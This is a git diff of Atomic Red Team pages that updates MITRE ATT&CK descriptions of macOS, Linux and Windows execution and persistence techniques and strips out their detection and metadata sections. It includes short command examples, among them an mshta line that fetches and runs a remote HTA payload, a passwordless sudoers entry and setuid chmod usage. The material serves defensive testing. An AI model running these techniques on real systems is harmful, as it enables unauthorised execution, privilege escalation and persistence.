+Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious. ## Atomic Tests diff --git a/atomics/T1152/T1152.md b/atomics/T1152/T1152.md index bf251c6a04..79b0ace656 100644 --- a/atomics/T1152/T1152.md +++ b/atomics/T1152/T1152.md @@ -2,19 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1152)
Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute "arg" "arg" "arg". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. -Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process. - -Detection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes. - -Platforms: macOS - -Data Sources: File monitoring, Process Monitoring, Process command-line parameters - -Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path - -Permissions Required: User, Administrator - -Remote Support: No
+Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process. ## Atomic Tests diff --git a/atomics/T1153/T1153.md b/atomics/T1153/T1153.md index 6d1488392f..b3acc2e58a 100644 --- a/atomics/T1153/T1153.md +++ b/atomics/T1153/T1153.md @@ -2,17 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1153)
The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. -Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand. - -Detection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring. - -Platforms: Linux, macOS - -Data Sources: Process Monitoring, File monitoring, Process command-line parameters - -Permissions Required: User - -Remote Support: No
+Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand. ## Atomic Tests diff --git a/atomics/T1154/T1154.md b/atomics/T1154/T1154.md index d4008ab1a0..ba1a1319a8 100644 --- a/atomics/T1154/T1154.md +++ b/atomics/T1154/T1154.md @@ -1,16 +1,6 @@ # T1154 - Trap ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1154) -
The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received. - -Detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts. - -Platforms: Linux, macOS - -Data Sources: File monitoring, Process Monitoring, Process command-line parameters - -Permissions Required: User, Administrator - -Remote Support: No
+
The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.
## Atomic Tests diff --git a/atomics/T1155/T1155.md b/atomics/T1155/T1155.md index 87843714b4..333cd23a7e 100644 --- a/atomics/T1155/T1155.md +++ b/atomics/T1155/T1155.md @@ -3,17 +3,7 @@
macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. -Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via osascript /path/to/script or osascript -e "script here". - -Detection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system. - -Platforms: macOS - -Data Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters - -Permissions Required: User - -Remote Support: Yes
+Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via osascript /path/to/script or osascript -e "script here". ## Atomic Tests diff --git a/atomics/T1156/T1156.md b/atomics/T1156/T1156.md index a0877bf752..90600a1ffe 100644 --- a/atomics/T1156/T1156.md +++ b/atomics/T1156/T1156.md @@ -4,15 +4,7 @@ Mac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc. -These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware). - -Detection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. - -Platforms: Linux, macOS - -Data Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network - -Permissions Required: User, Administrator +These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware). ## Atomic Tests diff --git a/atomics/T1158/T1158.md b/atomics/T1158/T1158.md index 78c99d6a09..f74d5e1ce3 100644 --- a/atomics/T1158/T1158.md +++ b/atomics/T1158/T1158.md @@ -2,30 +2,20 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1158)
To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). -===Windows=== +Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files. + +### Windows Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”. -===Linux/Mac=== +### Linux/Mac Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application. -===Mac=== +### Mac Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). -Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. - -Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files. - -Detection: Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute. - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Process Monitoring, Process command-line parameters - -Defense Bypassed: Host forensic analysis - -Permissions Required: User
+Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. ## Atomic Tests diff --git a/atomics/T1159/T1159.md b/atomics/T1159/T1159.md index eefcb7eef3..fbdfa81104 100644 --- a/atomics/T1159/T1159.md +++ b/atomics/T1159/T1159.md @@ -1,16 +1,8 @@ # T1159 - Launch Agent ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1159) -
Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware). +
Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware). -Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges). - -Detection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications. - -Platforms: macOS - -Data Sources: File monitoring, Process Monitoring - -Permissions Required: User, Administrator
+Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).
## Atomic Tests diff --git a/atomics/T1160/T1160.md b/atomics/T1160/T1160.md index de83827a30..6c5f7fb586 100644 --- a/atomics/T1160/T1160.md +++ b/atomics/T1160/T1160.md @@ -4,17 +4,7 @@ Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. -The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. - -Detection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application. - -Platforms: macOS - -Data Sources: Process Monitoring, File monitoring - -Effective Permissions: root - -Permissions Required: Administrator +The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. ## Atomic Tests diff --git a/atomics/T1163/T1163.md b/atomics/T1163/T1163.md index d4cdbe41e8..fa796830c8 100644 --- a/atomics/T1163/T1163.md +++ b/atomics/T1163/T1163.md @@ -2,15 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1163)
During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used. -Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence). - -Detection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior. - -Platforms: macOS - -Data Sources: File monitoring, Process Monitoring - -Permissions Required: root
+Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence). ## Atomic Tests diff --git a/atomics/T1164/T1164.md b/atomics/T1164/T1164.md index 48289f74ef..60fc1e9102 100644 --- a/atomics/T1164/T1164.md +++ b/atomics/T1164/T1164.md @@ -1,14 +1,8 @@ # T1164 - Re-opened Applications ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1164) -
Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist. +
Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. -An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence). - -Detection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened. - -Platforms: macOS - -Permissions Required: User
+An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).
## Atomic Tests diff --git a/atomics/T1165/T1165.md b/atomics/T1165/T1165.md index e1945b5a89..2d5f7e5051 100644 --- a/atomics/T1165/T1165.md +++ b/atomics/T1165/T1165.md @@ -2,17 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1165)
Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. -An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well. - -Detection: The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior. - -Platforms: macOS - -Data Sources: File monitoring, Process Monitoring - -Effective Permissions: root - -Permissions Required: Administrator
+An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well. ## Atomic Tests diff --git a/atomics/T1166/T1166.md b/atomics/T1166/T1166.md index b451d2678d..910d65dc70 100644 --- a/atomics/T1166/T1166.md +++ b/atomics/T1166/T1166.md @@ -1,18 +1,8 @@ # T1166 - Setuid and Setgid ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1166) -
When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. +
When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. -An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. - -Detection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set. - -Platforms: Linux, macOS - -Data Sources: File monitoring, Process Monitoring, Process command-line parameters - -Effective Permissions: Administrator, root - -Permissions Required: User
+An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).
## Atomic Tests diff --git a/atomics/T1168/T1168.md b/atomics/T1168/T1168.md index 2b074f8a03..b81a35e6dd 100644 --- a/atomics/T1168/T1168.md +++ b/atomics/T1168/T1168.md @@ -1,30 +1,20 @@ # T1168 - Local Job Scheduling ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1168) -
On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). +
On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). -===cron=== +### cron -System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems. +System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems. Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account. -===at=== +### at -The at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. +The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. -===launchd=== +### launchd -Each launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X. - -Detection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior. - -Platforms: Linux, macOS - -Data Sources: File monitoring, Process Monitoring - -Permissions Required: Administrator, User, root - -Contributors: Anastasios Pingios
+Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.
## Atomic Tests diff --git a/atomics/T1169/T1169.md b/atomics/T1169/T1169.md index cc98e87746..7cd300a25d 100644 --- a/atomics/T1169/T1169.md +++ b/atomics/T1169/T1169.md @@ -2,17 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1169)
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). -Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though. - -Detection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). - -Platforms: Linux, macOS - -Data Sources: File monitoring - -Effective Permissions: root - -Permissions Required: User
+Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though. ## Atomic Tests diff --git a/atomics/T1170/T1170.md b/atomics/T1170/T1170.md index 5a8de03dbc..c5a7cedfc8 100644 --- a/atomics/T1170/T1170.md +++ b/atomics/T1170/T1170.md @@ -8,23 +8,7 @@ Files may be executed by mshta.exe through an inline script: mshta vbscrip They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta -Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List) - -Detection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed. - -Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious. - -Platforms: Windows - -Data Sources: Process monitoring, Process command-line parameters - -Defense Bypassed: Application whitelisting - -Permissions Required: User - -Remote Support: No - -Contributors: Ricardo Dias, Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank +Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List) ## Atomic Tests diff --git a/atomics/T1173/T1173.md b/atomics/T1173/T1173.md index c22b594144..f5d4a7f90d 100644 --- a/atomics/T1173/T1173.md +++ b/atomics/T1173/T1173.md @@ -4,21 +4,7 @@ Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) -Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution. - -Detection: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017) - -Monitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application. - -Monitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications. - -Platforms: Windows - -Data Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs - -Permissions Required: User - -Remote Support: No +Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution. ## Atomic Tests diff --git a/atomics/T1176/T1176.md b/atomics/T1176/T1176.md index 74cf5f11da..5ee858083c 100644 --- a/atomics/T1176/T1176.md +++ b/atomics/T1176/T1176.md @@ -2,19 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1176)
Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition) -Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware). - -Detection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. - -Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. - -Platforms: Linux, macOS, Windows - -Data Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions - -Permissions Required: User - -Contributors: Justin Warner, ICEBRG
+Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware). ## Atomic Tests diff --git a/atomics/T1179/T1179.md b/atomics/T1179/T1179.md index 095b94648c..91efe22cc5 100644 --- a/atomics/T1179/T1179.md +++ b/atomics/T1179/T1179.md @@ -1,30 +1,16 @@ # T1179 - Hooking ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1179)
Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via: -* '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017) -* '''Import address table (IAT) hooking''', which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) -* '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015) -Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. +* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017) +* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) +* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015) -Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) - -Hooking is commonly utilized by Rootkits to conceal files, -processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits) - -Detection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) - -Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. +Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within 